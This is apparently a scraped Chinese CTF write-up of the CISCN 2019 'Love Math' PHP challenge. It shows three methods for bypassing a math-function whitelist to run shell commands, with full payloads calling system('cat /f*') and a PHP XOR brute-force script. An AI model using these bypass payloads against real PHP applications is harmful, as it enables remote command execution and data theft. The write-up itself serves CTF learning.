当前位置: 首页 > news >正文

[CISCN 2019 初赛]Love Math 通过进制转换执行命令

目录

hex2bin    bin2hex

base_convert

动态函数

第一种解法  通过get获取参数

绕过

第二种解法  读取请求头

getallheaders

echo a,b

第三种解法 异或获得更多字符


这道题也是很有意思!

通过规定白名单和黑名单 指定了 函数为数学函数 并且参数也只能是规定在白名单中的参数

我们首先要了解 通过进制转换执行命令的第一时间就是想到 hex2bin/bin2hex

hex2bin    bin2hex

这个函数可以将十六进制转换为ASCII码 从而实现数字到字符

所以我们可以通过这里的

接着我们需要了解 base_convert()函数

base_convert

这函数是可以将任意进制进行互相转换

我们这里给出例子

这里的hex2bin是36进制 所以这里可以将十进制转换为字符形式

动态函数

第一种解法  通过get获取参数

我们无法实现system(cat /flag) 因为36进制不接受特殊的符号 例如空格 所以我们无法直接获取到指令

但是我们换位思考一下

$a($b)$a=system$b=cat /f*最后是不是就是 system(cat /f*)

现在问题在于我们如何接收到参数

这里主要就是通过GET POST方式

_GET[1](_GET[2])1=system2=cat /f*是不是就等于 system(cat /f*)

现在问题转换为如何传递字符了

因为_GET[]都不在白名单中 甚至[]还在黑名单中

这里就涉及绕过了

绕过

首先[] 可以通过  {}绕过 很简单

其次_GET 我们可以通过数学编码

我们上面了解的hex2bin 就是可以将十六进制转变为ASCII

这样我们就可以构造_GET了

首先通过 bin2hex转变

得到16进制

但是这里面存在字符

发现正则过滤了字母 所以我们要将他换为全数字 就是十进制

然后通过dechex转换

最后就是hex2bin的了 我们只需要将其的10进制转换为36进制即可

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /*

我给大家简化一下

c=$pi=hex2bin(5f474554) 这里相当于 c=$pi=_GET($$pi){pi}  这里相当于 $_GET{pi}
(($$pi){abs})  这里相当于 ($_GET{abs})组合起来 $_GET{pi}($_GET{abs})pi=system  abs=cat /f*就可以是 system(cat /f*)

第二种解法  读取请求头

首先 我们构造 get很绕很麻烦 我们能不能直接执行命令

既然我们无法读取get的内容 那么我们直接接受请求头呢

这里就存在一个函数

getallheaders

getallheaders

 可以接受请求头

我们直接使用 exec(getallheaders) 来执行这个命令

这里还需要了了解一个知识点

echo a,b

echo a,bab都会输出

所以我们可以直接通过 exec a,b来执行

通过36进制换算

c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

然后通过1:cat /f*访问即可

这里getallheaders需要30进制

第三种解法 异或获得更多字符

我们能不能直接获取flag呢

我们通过异或来获取更多的字符串

我们来编写php代码

<?php
$pl=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($pl);$k++){for($i=0;$i < 9;$i++){for($j=1;$j <= 9; $j++){$exp=$pl[$k]^$i.$j;echo($pl[$k]."^".$i.$j."===>".$exp);echo "        ";}}
}
?>

 

获取_GET了

直接和第一个一样即可

?c=$pi=(mt_srand^(2).(3)).(tanh^(1).(5));$$pi{1}($$pi{0})&1=system&0=cat /f*

http://www.lryc.cn/news/172334.html

相关文章:

  • 【Linux】系统编程生产者消费者模型(C++)
  • 【数据结构】图的应用:最小生成树;最短路径;有向无环图描述表达式;拓扑排序;逆拓扑排序;关键路径
  • 大数据驱动业务增长:数据分析和洞察力的新纪元
  • 科技云报道:分布式存储红海中,看天翼云HBlock如何突围?
  • Java高级-动态代理
  • 时序预测 | MATLAB实现POA-CNN-LSTM鹈鹕算法优化卷积长短期记忆神经网络时间序列预测
  • n个不同元素进栈,求出栈元素的【不同排列】以及【排列的数量】?
  • Python中TensorFlow的长短期记忆神经网络(LSTM)、指数移动平均法预测股票市场和可视化...
  • 多线程的学习第二篇
  • git之撤销工作区的修改和版本回溯
  • sed awk使用简介
  • 竞赛选题 基于深度学习的人脸识别系统
  • idea Terminal 回退历史版本 Git指令 git reset
  • 华为云云耀云服务器L实例评测|华为云上安装监控服务Prometheus三件套安装
  • C语言基础知识点(八)联合体和大小端模式
  • 一个线程运行时发生异常会怎样?
  • CSS中去掉li前面的圆点方法
  • Python:获取当前目录下所有文件夹名称及文件夹下所有文件名称
  • 系统架构设计师-数据库系统(1)
  • Docker的相关知识介绍以及mac环境的安装
  • Android设计支持库
  • 【Java 基础篇】Java实现文件搜索详解
  • 会C++还需要再去学Python吗?
  • vue部分/所有内容全屏切换展示
  • 8.gec6818开发板通过并发多线程实现电子相册 智能家居 小游戏三合一完整项目
  • 角度回归——角度编码方式
  • 【C# Programming】值类型、良构类型
  • Linux Day18 TCP_UDP协议及相关知识
  • 【Java 基础篇】Java网络编程实时数据流处理
  • Oracle 和 mysql 增加字段SQL